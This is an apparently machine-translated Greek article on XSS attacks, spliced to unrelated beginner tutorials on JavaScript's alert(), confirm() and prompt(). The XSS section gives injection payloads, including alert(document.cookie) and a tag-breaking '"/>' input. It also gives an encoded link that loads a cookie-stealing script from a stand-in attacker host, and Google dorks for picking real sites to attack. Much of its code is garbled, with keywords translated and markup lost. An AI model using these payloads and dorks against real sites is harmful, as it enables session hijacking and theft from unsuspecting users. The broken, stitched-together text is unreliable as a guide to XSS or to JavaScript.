Η δέσμη ενεργειών μεταξύ τοποθεσιών (XSS) είναι μια ευπάθεια που περιλαμβάνει την εισαγωγή κώδικα από την πλευρά του πελάτη (JavaScript) σε μια ιστοσελίδα που βλέπουν άλλοι χρήστες.
Η ευπάθεια προκύπτει λόγω ανεπαρκούς φιλτραρίσματος των δεδομένων που υποβάλλει ο χρήστης για εισαγωγή σε μια ιστοσελίδα. Πολύ πιο εύκολα κατανοητό συγκεκριμένο παράδειγμα. Θυμηθείτε οποιοδήποτε βιβλίο επισκεπτών - αυτά είναι προγράμματα που έχουν σχεδιαστεί για να δέχονται δεδομένα από τον χρήστη και στη συνέχεια να τα εμφανίζουν. Ας φανταστούμε ότι το βιβλίο επισκεπτών δεν ελέγχει ή φιλτράρει τα καταχωρημένα δεδομένα με κανέναν τρόπο, αλλά απλώς τα εμφανίζει.
Μπορείτε να σχεδιάσετε το πιο απλό σενάριό σας (δεν υπάρχει τίποτα πιο εύκολο από το να γράφετε κακά σενάρια στην PHP - πολλοί άνθρωποι το κάνουν αυτό). Αλλά υπάρχουν ήδη πολλές έτοιμες επιλογές. Για παράδειγμα, προτείνω να ξεκινήσετε με το Dojo και το OWASP Mutillidae II. Υπάρχει ένα αντίστοιχο παράδειγμα εκεί. Σε ένα αυτόνομο περιβάλλον Dojo, πλοηγηθείτε στο πρόγραμμα περιήγησής σας στη διεύθυνση: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Εάν ένας από τους χρήστες εισήγαγε:
Στη συνέχεια, η ιστοσελίδα θα εμφανίσει:
Γειά σου! Κάντε like στον ιστότοπό σας.
Και αν ο χρήστης εισάγει ως εξής:
Γειά σου! Κάντε like στο site.alert("Pwned")
Θα εμφανιστεί ως εξής:
Τα προγράμματα περιήγησης αποθηκεύουν πολλά cookies από μεγάλο αριθμό τοποθεσιών. Κάθε ιστότοπος μπορεί να λαμβάνει μόνο cookies που είναι αποθηκευμένα από μόνος του. Για παράδειγμα, το example.com έχει αποθηκεύσει ορισμένα cookies στο πρόγραμμα περιήγησής σας. Πηγαίνετε στο Another.com, αυτός ο ιστότοπος (σενάρια πελάτη και διακομιστή) δεν μπορεί να έχει πρόσβαση στα cookies που είναι αποθηκευμένα από το example.com.
Εάν το example.com είναι ευάλωτο στο XSS, τότε αυτό σημαίνει ότι μπορούμε με κάποιο τρόπο να εισάγουμε κώδικα JavaScript σε αυτό και αυτός ο κώδικας θα εκτελεστεί για λογαριασμό του example.com! Εκείνοι. αυτός ο κωδικός θα έχει, για παράδειγμα, πρόσβαση σε cookies από τον ιστότοπο example.com.
Νομίζω ότι όλοι θυμούνται ότι η JavaScript εκτελείται στα προγράμματα περιήγησης των χρηστών, δηλ. παρουσία XSS, ενσωματωμένο κακόβουλος κώδικαςέχει πρόσβαση στα δεδομένα του χρήστη που άνοιξε τη σελίδα του ιστότοπου.
Ο κώδικας που εισάγεται μπορεί να κάνει ό,τι μπορεί η JavaScript, δηλαδή:
- έχει πρόσβαση σε cookies από τον ιστότοπο που περιηγείστε
- μπορεί να κάνει οποιεσδήποτε αλλαγές σε εμφάνισησελίδες
- έχει πρόσβαση στο πρόχειρο
- μπορεί να εισάγει προγράμματα JavaScript, όπως keyloggers (αναχαιτιστές πληκτρολόγησης)
- συνδέστε το BeEF
- και τα λοιπά.
Το απλούστερο παράδειγμα με τα cookies:
alert(document.cookie)
Στην πραγματικότητα, η ειδοποίηση χρησιμοποιείται μόνο για τον εντοπισμό XSS. Το πραγματικό κακόβουλο ωφέλιμο φορτίο εκτελεί μυστικές ενέργειες. Συναναστρέφεται κρυφά με απομακρυσμένος διακομιστήςεισβολέα και του μεταφέρει τα κλεμμένα δεδομένα.
Τύποι XSSΤο πιο σημαντικό πράγμα που πρέπει να κατανοήσετε σχετικά με τους τύπους XSS είναι ότι είναι:
- Αποθηκευμένο (μόνιμο)
- Αντανακλά (Μη μόνιμο)
Παράδειγμα σταθερών:
- Ένα ειδικά διαμορφωμένο μήνυμα βιβλίου επισκεπτών που έχει εισαχθεί από έναν εισβολέα (σχόλιο, ανάρτηση φόρουμ, προφίλ) που είναι αποθηκευμένο στον διακομιστή λαμβάνεται από τον διακομιστή κάθε φορά που οι χρήστες ζητούν να εμφανιστεί η σελίδα.
- Ένας εισβολέας απέκτησε πρόσβαση στα δεδομένα διακομιστή, για παράδειγμα, μέσω SQL injection, και εισήγαγε κακόβουλο κώδικα JavaScript (με keylogger ή με BeEF) στα δεδομένα που εκδίδονται στον χρήστη.
Μη επίμονο παράδειγμα:
- Υπάρχει μια αναζήτηση στον ιστότοπο, η οποία μαζί με τα αποτελέσματα αναζήτησης εμφανίζει κάτι σαν "Αναζήτησες: [συμβολοσειρά αναζήτησης]", ενώ τα δεδομένα δεν φιλτράρονται σωστά. Δεδομένου ότι μια τέτοια σελίδα εμφανίζεται μόνο σε όσους έχουν σύνδεσμο προς αυτήν, έως ότου ο εισβολέας στείλει το σύνδεσμο σε άλλους χρήστες του ιστότοπου, η επίθεση δεν θα λειτουργήσει. Αντί να στείλετε έναν σύνδεσμο στο θύμα, μπορείτε να χρησιμοποιήσετε τη φιλοξενία ενός κακόβουλου σεναρίου σε έναν ουδέτερο ιστότοπο που επισκέπτεται το θύμα.
Διακρίνουν επίσης (ορισμένες ως τύπος μη μόνιμων τρωτών σημείων XSS, μερικοί λένε ότι αυτός ο τύπος μπορεί επίσης να είναι ένας τύπος επίμονου XSS):
- Μοντέλα DOM
Για να το θέσω πολύ απλά, μπορούμε να δούμε τον κακόβουλο κώδικα του «κανονικού» μη μόνιμο XSS αν ανοίξουμε τον κώδικα HTML. Για παράδειγμα, ένας σύνδεσμος σχηματίζεται ως εξής:
http://example.com/search.php?q="/>ειδοποίηση(1)
Και όταν ανοίγουμε τον πηγαίο κώδικα HTML, βλέπουμε κάτι σαν αυτό:
alert(1)" /> Εύρεση
Και το DOM XSS αλλάζει τη δομή DOM, η οποία σχηματίζεται στο πρόγραμμα περιήγησης εν κινήσει, και μπορούμε να δούμε τον κακόβουλο κώδικα μόνο κατά την προβολή της διαμορφωμένης δομής DOM. Το HTML δεν αλλάζει. Ας πάρουμε αυτόν τον κώδικα ως παράδειγμα:
site:::DOM XSS Παρουσιάστηκε σφάλμα... συνάρτηση OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) συνάρτηση get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + r4c + ");") (if. ; return ( unescape(αποτελέσματα)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Το αναγνωριστικό της συνεδρίας σας ήταν: " + display_session + "
")
Στη συνέχεια, στο πρόγραμμα περιήγησης θα δούμε:
Πηγαίος κώδικας σελίδας:
Ας σχηματίσουμε τη διεύθυνση ως εξής:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Τώρα η σελίδα μοιάζει με αυτό:
Ας ρίξουμε όμως μια ματιά πηγή HTML:
Δεν έχει αλλάξει απολύτως τίποτα. Για αυτό μίλησα, πρέπει να δούμε τη δομή DOM του εγγράφου για να εντοπίσουμε κακόβουλο κώδικα:
Εδώ είναι ένα λειτουργικό πρωτότυπο XSS, για μια πραγματική επίθεση χρειαζόμαστε ένα πιο περίπλοκο ωφέλιμο φορτίο, το οποίο δεν είναι δυνατό λόγω του γεγονότος ότι η εφαρμογή σταματά να διαβάζει αμέσως μετά το ερωτηματικό και κάτι σαν alert(1);alert(2) δεν είναι πλέον δυνατό. Ωστόσο, χάρη στην unescape() στα επιστρεφόμενα δεδομένα, μπορούμε να χρησιμοποιήσουμε ένα payload όπως αυτό:
http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Όπου έχουμε αντικαταστήσει το ? στο ισοδύναμο με κωδικοποίηση URI!
Μπορούμε τώρα να γράψουμε ένα κακόβουλο ωφέλιμο φορτίο JavaScript και να συνθέσουμε έναν σύνδεσμο για αποστολή στο θύμα, όπως ακριβώς κάνει η τυπική μη επίμονη δέσμη ενεργειών μεταξύ τοποθεσιών.
Ελεγκτής XSSΣΕ Google Chrome(και επίσης στην Opera, η οποία χρησιμοποιεί τώρα τη μηχανή του Google Chrome), είχα αυτή την έκπληξη:
dom_xss.html:30 Ο ελεγκτής XSS αρνήθηκε να εκτελέσει ένα σενάριο στο "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" επειδή ο πηγαίος κώδικας του βρέθηκε μέσα στο αίτημα. Ο ελεγκτής ενεργοποιήθηκε καθώς ο διακομιστής δεν έστειλε κεφαλίδα "X-XSS-Protection" ούτε "Content-Security-Policy".
Εκείνοι. το πρόγραμμα περιήγησης έχει τώρα έναν ελεγκτή XSS που θα προσπαθήσει να αποτρέψει το XSS. Ο Firefox δεν έχει ακόμα αυτή τη λειτουργία, αλλά νομίζω ότι είναι θέμα χρόνου. Εάν η υλοποίηση σε προγράμματα περιήγησης είναι επιτυχής, τότε μπορούμε να μιλήσουμε για σημαντική δυσκολία στην εφαρμογή του XSS.
Είναι χρήσιμο να το θυμάστε αυτό σύγχρονα προγράμματα περιήγησηςλαμβάνουν μέτρα για να περιορίσουν το επίπεδο εκμετάλλευσης ζητημάτων όπως το μη μόνιμο XSS και το XSS που βασίζεται σε DOM. Αυτό είναι επίσης κάτι που πρέπει να έχετε κατά νου όταν δοκιμάζετε ιστότοπους χρησιμοποιώντας ένα πρόγραμμα περιήγησης - μπορεί κάλλιστα να αποδειχθεί ότι μια εφαρμογή Ιστού είναι ευάλωτη, αλλά δεν βλέπετε ένα αναδυόμενο παράθυρο επιβεβαίωσης μόνο και μόνο επειδή το πρόγραμμα περιήγησης την αποκλείει.
Παραδείγματα εκμετάλλευσης XSSΟι εισβολείς που σκοπεύουν να εκμεταλλευτούν ευπάθειες δέσμης ενεργειών μεταξύ τοποθεσιών πρέπει να προσεγγίζουν διαφορετικά κάθε κατηγορία ευπάθειας. Τα διανύσματα επίθεσης για κάθε κλάση περιγράφονται εδώ.
Για τα τρωτά σημεία XSS, οι επιθέσεις μπορούν να χρησιμοποιήσουν το BeEF, το οποίο επεκτείνει την επίθεση από τον ιστότοπο στο τοπικό περιβάλλον των χρηστών.
Ένα παράδειγμα μιας μη επίμονης επίθεσης XSS
1. Η Alice επισκέπτεται συχνά έναν συγκεκριμένο ιστότοπο που φιλοξενείται από τον Bob. Ο ιστότοπος του Bob επιτρέπει στην Alice να συνδεθεί με όνομα χρήστη/κωδικό πρόσβασης και να αποθηκεύει ευαίσθητα δεδομένα, όπως στοιχεία χρέωσης. Όταν ένας χρήστης συνδέεται, το πρόγραμμα περιήγησης αποθηκεύει cookies εξουσιοδότησης, τα οποία μοιάζουν με παράλογους χαρακτήρες, π.χ. και οι δύο υπολογιστές (πελάτης και διακομιστής) θυμούνται ότι εισήλθε.
2. Ο Malory σημειώνει ότι ο ιστότοπος του Bob περιέχει μια μη επίμονη ευπάθεια XSS:
2.1 Όταν επισκέπτεται τη σελίδα αναζήτησης, εισάγει μια συμβολοσειρά αναζήτησης και κάνει κλικ στο κουμπί υποβολής, εάν δεν βρεθούν αποτελέσματα, η σελίδα εμφανίζει την εισαγόμενη συμβολοσειρά αναζήτησης ακολουθούμενη από τις λέξεις "δεν βρέθηκε" και η διεύθυνση url είναι http://bobssite.org?q=ee ερώτημα αναζήτησης
2.2 Με έναν κανονικό όρο αναζήτησης όπως "dogs", η σελίδα εμφανίζει απλώς "dogs not found" και τη διεύθυνση url http://bobssite.org?q=dogs , που είναι απολύτως φυσιολογική συμπεριφορά.
2.3 Ωστόσο, όταν ένα ανώμαλο ερώτημα αναζήτησης όπως το alert("xss"); :
2.3.1 Εμφανίζεται ένα προειδοποιητικό μήνυμα (που λέει "xss").
2.3.2 Η σελίδα εμφανίζει ειδοποίηση("xss"); δεν βρέθηκε μαζί με ένα μήνυμα σφάλματος με το κείμενο "xss".
2.3.3 εκμεταλλεύσιμη διεύθυνση URL http://bobssite.org?q=alert("xss");
3. Η Mallory κατασκευάζει μια διεύθυνση URL για να εκμεταλλευτεί την ευπάθεια:
3.1 Δημιουργεί τη διεύθυνση URL http://bobssite.org?q=puppies . Μπορεί να επιλέξει να μετατρέψει χαρακτήρες ASCII σε δεκαεξαδική μορφή, όπως http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E, ώστε οι χρήστες να μην μπορούν να αποκωδικοποιήσουν αμέσως το κακόβουλο URL.
3.2 Στέλνει email σε μερικά ανυποψίαστα μέλη του ιστότοπου του Bob λέγοντας "Check out the cool dogs".
4. Η Αλίκη λαμβάνει ένα γράμμα. Λατρεύει τα σκυλιά και κάνει κλικ στον σύνδεσμο. Πηγαίνει στο site του Bob σε μια αναζήτηση, δεν βρίσκει τίποτα, λέει "dogs not found" και στη μέση ξεκινά μια ετικέτα με ένα σενάριο (είναι αόρατο στην οθόνη), φορτώνει και εκτελεί το πρόγραμμα του Mallory authstealer.js (ενεργοποίηση Επιθέσεις XSS). Η Αλίκη το ξεχνάει.
5. Το πρόγραμμα authstealer.js εκτελείται στο πρόγραμμα περιήγησης της Alice σαν να προέρχεται από τον ιστότοπο του Bob. Αρπάζει ένα αντίγραφο του cookie εξουσιοδότησης της Alice και το στέλνει στον διακομιστή του Mallory, όπου ο Mallory τα ανακτά.
7. Τώρα που η Mallory είναι μέσα, πηγαίνει στην ενότητα πληρωμών του ιστότοπου, κοιτάζει και κλέβει ένα αντίγραφο του αριθμού. πιστωτική κάρταΑλίκη. Στη συνέχεια πηγαίνει και αλλάζει τον κωδικό πρόσβασης, δηλ. τώρα η Άλις δεν μπορεί καν να μπει πια.
8. Αποφασίζει να κάνει το επόμενο βήμα και στέλνει τον σύνδεσμο που κατασκευάστηκε με αυτόν τον τρόπο στον ίδιο τον Μπομπ, και έτσι αποκτά δικαιώματα διαχείρισης για τον ιστότοπο του Μπομπ.
Επίθεση με επίμονο XSS
Dorks για XSS
Το πρώτο βήμα είναι να επιλέξουμε τους ιστότοπους στους οποίους θα πραγματοποιήσουμε επιθέσεις XSS. Οι ιστότοποι μπορούν να αναζητηθούν χρησιμοποιώντας το Google dorks. Ακολουθούν μερικά από αυτά τα dorks που μπορείτε να αντιγράψετε και να επικολλήσετε στην αναζήτηση Google:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Μια λίστα με τοποθεσίες θα ανοίξει μπροστά μας. Πρέπει να ανοίξετε τον ιστότοπο και να βρείτε πεδία εισαγωγής σε αυτόν, όπως μια φόρμα ανατροφοδότηση, φόρμα εισαγωγής, αναζήτηση ιστότοπου κ.λπ.
Θα σημειώσω αμέσως ότι είναι πρακτικά άχρηστο να ψάχνουμε για τρωτά σημεία σε δημοφιλείς εφαρμογές web που ενημερώνονται αυτόματα. Ένα κλασικό παράδειγμα μιας τέτοιας εφαρμογής είναι το WordPress. Μάλιστα, υπάρχουν τρωτά σημεία στο WordPress και συγκεκριμένα στα πρόσθετά του. Επιπλέον, υπάρχουν πολλοί ιστότοποι που δεν ενημερώνουν ούτε τη μηχανή WordPress (λόγω του γεγονότος ότι ο webmaster έκανε κάποιες αλλαγές στον πηγαίο κώδικα), ούτε τα πρόσθετα και τα θέματα (συνήθως πρόκειται για πειρατικά πρόσθετα και θέματα). Αλλά αν διαβάζετε αυτήν την ενότητα και μαθαίνετε κάτι νέο από αυτήν, τότε το WordPress δεν είναι ακόμα για εσάς... Σίγουρα θα επιστρέψουμε σε αυτό αργότερα.
Οι καλύτεροι στόχοι είναι μια ποικιλία αυτογραφικών μηχανών και σεναρίων.
Μπορείτε να επιλέξετε ως ωφέλιμο φορτίο για εισαγωγή
ειδοποίηση (1)
Δώστε προσοχή σε ποιες ετικέτες κώδικα HTML εμπίπτει ο ενσωματωμένος σας κώδικας. Ακολουθεί ένα παράδειγμα τυπικού πεδίου εισαγωγής (εισαγωγή):
ειδοποίηση (1)
Το ωφέλιμο φορτίο μας θα πάει εκεί που βρίσκεται τώρα η λέξη "μαξιλαροθήκη". Εκείνοι. γίνει η τιμή της ετικέτας εισόδου. Μπορούμε να το αποφύγουμε - ας το κλείσουμε διπλό απόσπασμα, και μετά η ίδια η ετικέτα με "/>
"/>ειδοποίηση(1)
Ας το δοκιμάσουμε για κάποιο site:
Εντάξει, υπάρχει μια ευπάθεια.
Πιθανώς όλοι οι σαρωτές εφαρμογών web έχουν ενσωματωμένο σαρωτή ευπάθειας XSS. Αυτό το θέμα δεν καλύπτεται, είναι καλύτερα να εξοικειωθείτε με κάθε τέτοιο σαρωτή ξεχωριστά.
Υπάρχουν επίσης εξειδικευμένα εργαλεία για σάρωση για τρωτά σημεία XSS. Μεταξύ αυτών, είναι ιδιαίτερα αξιοσημείωτο.
Σε αυτό το άρθρο, θα εξερευνήσουμε τρεις ενδιαφέρουσες μεθόδους, δηλαδή τις μεθόδους alert() , confirm() και prompt(). Είναι όλα σχεδιασμένα για αλληλεπίδραση με τον χρήστη.
Και οι τρεις αυτές μέθοδοι ανήκουν στο αντικείμενο window. Και μπορούν να ονομαστούν ως εξής: window.method_name(); Όμως, η JavaScript μας επιτρέπει να μην καθορίσουμε αυτό το αντικείμενο παραθύρου, αλλά απλώς να γράψουμε το όνομα της μεθόδου.
Θα ξεκινήσουμε με τη μέθοδο alert(). Αυτή η μέθοδος, εμφανίζει το καθορισμένο μήνυμα στο παράθυρο του προγράμματος περιήγησης του χρήστη. Αυτό το πλαίσιο θα εμφανίζεται στην κορυφή ολόκληρης της σελίδας και μέχρι ο χρήστης να κάνει κλικ στο κουμπί OK, δεν θα κλείσει.
Για να το δείξουμε, ας εμφανίσουμε κάποιο μήνυμα χρησιμοποιώντας τη μέθοδο ειδοποίησης ().
var today_is = "Δευτέρα"; alert("Σήμερα είναι " + σήμερα_είναι);
Μέσα στη μέθοδο, μπορούμε να καθορίσουμε οποιαδήποτε συμβολοσειρά, μόνο χωρίς ετικέτες html. Δεν υποβάλλονται σε επεξεργασία εδώ, αλλά εμφανίζονται ως έχουν.
Εάν η συμβολοσειρά που θέλουμε να καθορίσουμε είναι πολύ μεγάλη και θέλουμε να μεταπηδήσουμε νέα γραμμή, τότε εδώ είναι η ετικέτα html
δεν θα λειτουργήσει. Εδώ πρέπει να χρησιμοποιήσετε τον χαρακτήρα "\n".
Alert("Loooooooooong \nStringgggggg");
Αυτή η μέθοδος χρησιμοποιείται συχνά για την εύρεση σφαλμάτων στον κώδικα.
Η διαδικασία επεξεργασίας του κώδικα πηγαίνει από πάνω προς τα κάτω, οπότε για να εντοπίσουμε ένα σφάλμα, γράφουμε απλώς τη μέθοδο ειδοποίησης () στην περιοχή που προορίζεται όπου βρίσκεται το σφάλμα. Και αν η alert() λειτούργησε, τότε δεν υπάρχουν σφάλματα μέχρι τη γραμμή όπου είναι γραμμένο.
Στη συνέχεια, πρέπει να το μετακινήσετε μία ή περισσότερες γραμμές παρακάτω. Αποθηκεύουμε τις αλλαγές, ανανεώνουμε ξανά τη σελίδα στο πρόγραμμα περιήγησης και βλέπουμε αν η alert() λειτούργησε, τότε δεν υπάρχουν σφάλματα πριν από τη γραμμή που βρίσκεται, διαφορετικά, εάν δεν λειτούργησε, το σφάλμα βρίσκεται στη γραμμή πάνω από το σημείο που βρίσκεται τώρα. Με αυτόν τον τρόπο, μπορείτε να βρείτε ένα σφάλμα στον κώδικα.
μέθοδο επιβεβαίωσης().Αυτή η μέθοδος χρησιμοποιείται για να επιβεβαιώσει την απάντηση σε κάποια ερώτηση. Υπάρχουν μόνο δύο επιλογές απάντησης, ναι (OK) ή όχι (Ακύρωση / Ακύρωση). Εάν ο χρήστης απαντήσει ναι, τότε η μέθοδος επιστρέφει true, διαφορετικά επιστρέφει false.
Για παράδειγμα, θα εμφανίσουμε ένα παράθυρο χρησιμοποιώντας τη μέθοδο επιβεβαίωσης(), όπου θα ρωτήσουμε τον χρήστη "Είστε βέβαιοι ότι θέλετε να φύγετε από τη σελίδα;". Εάν ο χρήστης απαντήσει ναι, τότε μέσω της μεθόδου alert() θα εμφανίσουμε ένα τέτοιο μήνυμα "Ο χρήστης θέλει να φύγει από τη σελίδα", διαφορετικά θα εμφανίσουμε ένα άλλο μήνυμα "Ο χρήστης ΔΕΝ θέλει να φύγει από τη σελίδα".
Var user_answer = confirm("Είστε βέβαιοι ότι θέλετε να φύγετε από τη σελίδα;"); if(user_answer) alert("Ο χρήστης θέλει να φύγει από τη σελίδα"); else alert("Ο χρήστης ΔΕΝ θέλει να \nαποχωρήσει από τη σελίδα");
Έτσι λειτουργεί η μέθοδος επιβεβαίωσης(). Μπορεί να χρησιμοποιηθεί σε διάφορες περιπτώσεις. Για παράδειγμα, πριν διαγράψετε κάτι από τον ιστότοπο, συνηθίζεται να ρωτάτε τον χρήστη εάν είναι σίγουρος για τις ενέργειές του. Ή, πριν υποβάλετε τη φόρμα, μπορείτε επίσης να ρωτήσετε τον χρήστη «Συμπληρώσατε τα πάντα σωστά;» Εάν απαντήσει ναι, τότε η φόρμα θα σταλεί, διαφορετικά δεν θα σταλεί.
μέθοδος prompt().Και η τελευταία μέθοδος που θα μάθουμε είναι η μέθοδος prompt(). Αυτή η μέθοδος χρησιμοποιείται λιγότερο συχνά από τις άλλες δύο μεθόδους. Σας επιτρέπει να λαμβάνετε κάποιες πληροφορίες από τον χρήστη, τις οποίες θα εισάγει στο πεδίο κειμένου.
Ως αποτέλεσμα, η μέθοδος prompt() επιστρέφει είτε τη συμβολοσειρά εισόδου εάν ο χρήστης έκανε κλικ στο κουμπί OK, είτε μηδενική εάν ο χρήστης έκανε κλικ στο κουμπί ακύρωσης.
Ως παράμετρος, δηλαδή μέσα στις αγκύλες αυτής της μεθόδου, μπορούμε να γράψουμε μια ενδεικτική συμβολοσειρά ή μια ερώτηση ώστε ο χρήστης να γνωρίζει ποιες πληροφορίες πρέπει να εισαγάγουν.
Για παράδειγμα, ας ζητήσουμε από τον χρήστη να απαντήσει στην ερώτηση "Πώς είναι το όνομά σου;". Το όνομα που εισήγαγε ο χρήστης θα εμφανιστεί στην οθόνη χρησιμοποιώντας τη μέθοδο alert().
Varname = προτροπή ("Ποιο είναι το όνομά σου;"); alert("Το όνομά σας είναι " + όνομα);
Αποθηκεύστε και ανοίξτε τη σελίδα στο πρόγραμμα περιήγησης.
Φυσικά, οποιαδήποτε πληροφορία μπορεί να εισαχθεί στο πεδίο κειμένου από τη μέθοδο prompt(). Αυτές οι πληροφορίες θα επιστραφούν ως συμβολοσειρά, ακόμη και στην περίπτωση αριθμών ή άλλων ειδικών χαρακτήρων.
Για παράδειγμα, ας ζητήσουμε από τον χρήστη να εισάγει δύο αριθμούς για να τους πολλαπλασιάσει αργότερα. Θα υπάρχει μια αριθμομηχανή για τον πολλαπλασιασμό των αριθμών.
Var x = prompt("Εισαγάγετε τον πρώτο αριθμό:"); var y = prompt("Εισαγάγετε τον δεύτερο αριθμό:"); //Μετατροπή των εισαγόμενων αριθμών από τύπο συμβολοσειράς σε αριθμητικό τύπο x = Number(x); y = αριθμός(y); document.write(x + " * " + y + " = " + (x * y));
Οι εισαγόμενοι αριθμοί είναι συμβολοσειρές, επομένως για το σωστό αποτέλεσμα πολλαπλασιασμού, αυτοί οι αριθμοί πρέπει να περάσουν από τη συνάρτηση Number(), η οποία τους μετατρέπει από τύπο συμβολοσειράς σε κανονικούς αριθμούς.
Λοιπόν, αυτό είναι όλο. Τώρα γνωρίζετε τρεις ακόμη μεθόδους: alert(), confirm() και prompt() . Το οποίο μπορείτε να χρησιμοποιήσετε με ασφάλεια στην πράξη.
Σε αυτό το μάθημα, θα γνωρίσουμε τις μεθόδους του αντικειμένου παραθύρου: alert() , prompt() και confirm() .
μέθοδος alert().Η μέθοδος alert() προορίζεται για την εμφάνιση ενός πλαισίου διαλόγου προειδοποίησης με το καθορισμένο μήνυμα και ένα κουμπί ΟΚ στην οθόνη του χρήστη. Μπορεί να χρησιμοποιηθεί για να μεταφέρει σημαντικές πληροφορίες στον χρήστη.
window.alert(Parameter_1);
Η μέθοδος alert() έχει μία απαιτούμενη παράμετρο, η οποία είναι το κείμενο του μηνύματος που εμφανίζεται στο παράθυρο διαλόγου. Αυτή η μέθοδος δεν επιστρέφει τίποτα ως αποτέλεσμα της εκτέλεσής της.
Για παράδειγμα, ας εμφανιστεί ένα πλαίσιο διαλόγου προειδοποίησης για έναν επισκέπτη ιστότοπου όταν κάνει κλικ σε έναν σύνδεσμο: Μεταβείτε στον ιστότοπο
var resultConfirm = επιβεβαίωση(Parameter_1);
Αυτή η μέθοδος έχει μία παράμετρο - το κείμενο του μηνύματος που θα εμφανιστεί στο παράθυρο διαλόγου.
Η μέθοδος confirm() επιστρέφει μία από τις δύο τιμές ως αποτέλεσμα (resultConfirm) της εκτέλεσής της:
- αληθές εάν ο χρήστης έκανε κλικ στο OK.
- false αν ο χρήστης έκανε κλικ στο Cancel ή το έκλεισε.
Για παράδειγμα, ας εμφανίσουμε στο στοιχείο p με id="resultConfirm" το αποτέλεσμα του χρήστη που κάνει κλικ στο κουμπί "OK" στο πλαίσιο διαλόγου:
var resultActionUser = επιβεβαίωση("Χρήστης, παρακαλώ κάντε κλικ στο OK."); if (resultActionUser) ( document.getElementById("resultConfirm").innerHTML = "Χρήστης, ευχαριστούμε που έκανες κλικ στο OK"; ) else (document.getElementById("resultConfirm").innerHTML = "Χρήστη, είμαστε απογοητευμένοι με την απάντησή σου"; )
Η μέθοδος prompt() έχει σχεδιαστεί για να εμφανίζει ένα παράθυρο διαλόγου με ένα μήνυμα, ένα πεδίο κειμένου για την εισαγωγή δεδομένων και τα κουμπιά "OK" και "Cancel" στην οθόνη του χρήστη. Προορίζεται να ζητήσει δεδομένα από τον χρήστη.
var resultPrompt = prompt(Parameter_1, Parameter_2);
Αυτή η μέθοδος έχει δύο παραμέτρους:
- μήνυμα που θα εμφανιστεί στο παράθυρο διαλόγου. Αυτή η παράμετρος είναι απαραίτητη και περιέχει ένα μήνυμα που "λέει" ποια δεδομένα πρέπει να εισάγει ο χρήστης στο πεδίο κειμένου.
- η δεύτερη παράμετρος είναι προαιρετική και μπορεί να χρησιμοποιηθεί για τον καθορισμό της αρχικής τιμής που θα εμφανίζεται στο πεδίο εισαγωγής του πλαισίου διαλόγου όταν ανοίξει.
Ανάλογα με τις ενέργειες του χρήστη, η μέθοδος prompt() μπορεί να επιστρέψει τα ακόλουθα δεδομένα:
- τιμή κειμένου - εάν το πεδίο εισαγωγής περιέχει δεδομένα και ο χρήστης έκανε κλικ στο "OK".
- κενή συμβολοσειρά - εάν το πεδίο εισαγωγής δεν περιέχει δεδομένα και ο χρήστης έκανε κλικ στο "OK".
- null - εάν ο χρήστης έκανε κλικ στο "Ακύρωση" ή έκλεισε αυτό το παράθυρο, δεν έχει σημασία ποια δεδομένα εισήχθησαν στο πεδίο κειμένου.
Σημείωση: Το πλαίσιο διαλόγου που εμφανίζεται ως αποτέλεσμα της εκτέλεσης μιας από τις μεθόδους alert() , confirm() ή prompt() είναι modal, π.χ. αποκλείει την πρόσβαση του χρήστη στη γονική εφαρμογή (πρόγραμμα περιήγησης) έως ότου ο χρήστης κλείσει το παράθυρο διαλόγου.
Για παράδειγμα, θα ζητήσουμε από τον χρήστη ένα όνομα και, ανάλογα με το αποτέλεσμα, θα εμφανίσουμε το κείμενο στο στοιχείο c id="nameUser" :
var nameUser = prompt("Θα θέλατε το όνομά σας;"); if (nameUser) ( document.getElementById("nameUser").innerHTML = nameUser +", καλώς ορίσατε στον ιστότοπο!"; ) else (document.getElementById("nameUser").innerHTML = "Επισκέπτης, καλώς ορίσατε στον ιστότοπο!"; )
Για παράδειγμα, ας ζητήσουμε από τον χρήστη να μαντέψει τον αριθμό 8:
συνάρτηση guessNumber() ( var findNumber = προτροπή ("Μαντέψτε τον αριθμό μεταξύ 1 και 10?"); διακόπτης (findNumber) (περίπτωση "6": alert("Κεραίνει όλο και περισσότερο!"); break; case "7": alert("Hot!"); break; case "8": alert("Μαντέψατε τον αριθμό μεταξύ 1 και 10"); διάλειμμα; προεπιλογή: ειδοποίηση ("Κάνει κρύο!"), διάλειμμα; ) ) ... Μαντέψτε τον αριθμό
Η οργάνωση ενός διαλόγου με έναν επισκέπτη σε έναν πόρο Ιστού μπορεί να πραγματοποιηθεί διαφορετικοί τρόποι, των οποίων χρήση Λειτουργίες JavaScriptΗ alert() είναι η απλούστερη και ταχύτερη επιλογή. Αυτή η επιλογή είναι ιδιαίτερα καλή για δοκιμαστικούς σκοπούς, αλλά σε πολλούς πόρους χρησιμοποιείται ως φυσική λειτουργία.
Η συνάρτηση JavaScript alert() σάς επιτρέπει να λάβετε μια καταφατική απάντηση. Στην πραγματικότητα, δεν είναι η απάντηση που είναι σημαντική, αλλά το ίδιο το γεγονός της παραγωγής πληροφοριών. Επιπλέον, ο πόρος Ιστού παύει να λειτουργεί μέχρι να ανταποκριθεί ο χρήστης. Η απάντηση στην ειδοποίηση είναι πάντα η ίδια - αυτή είναι η απάντηση!
Για σκοπούς εντοπισμού σφαλμάτων, το JavaScript alert() είναι το τέλειο εργαλείο για να λαμβάνετε γρήγορα ενημερωμένες πληροφορίες, να λαμβάνετε αποφάσεις και να συνεχίζετε την εργασία σας. Αλλά για τον σκοπό της κανονικής λειτουργίας του ιστότοπου, έχει επίσης αρκετά πλεονεκτήματα.
Τραβώντας την προσοχή του επισκέπτη"Alert" - όπως στη ζωή, σχηματίζει ένα γεγονός που δεν μπορεί να περάσει. Αλλά αυτό το συμβάν μπορεί να συμβεί ή να μην συμβεί..
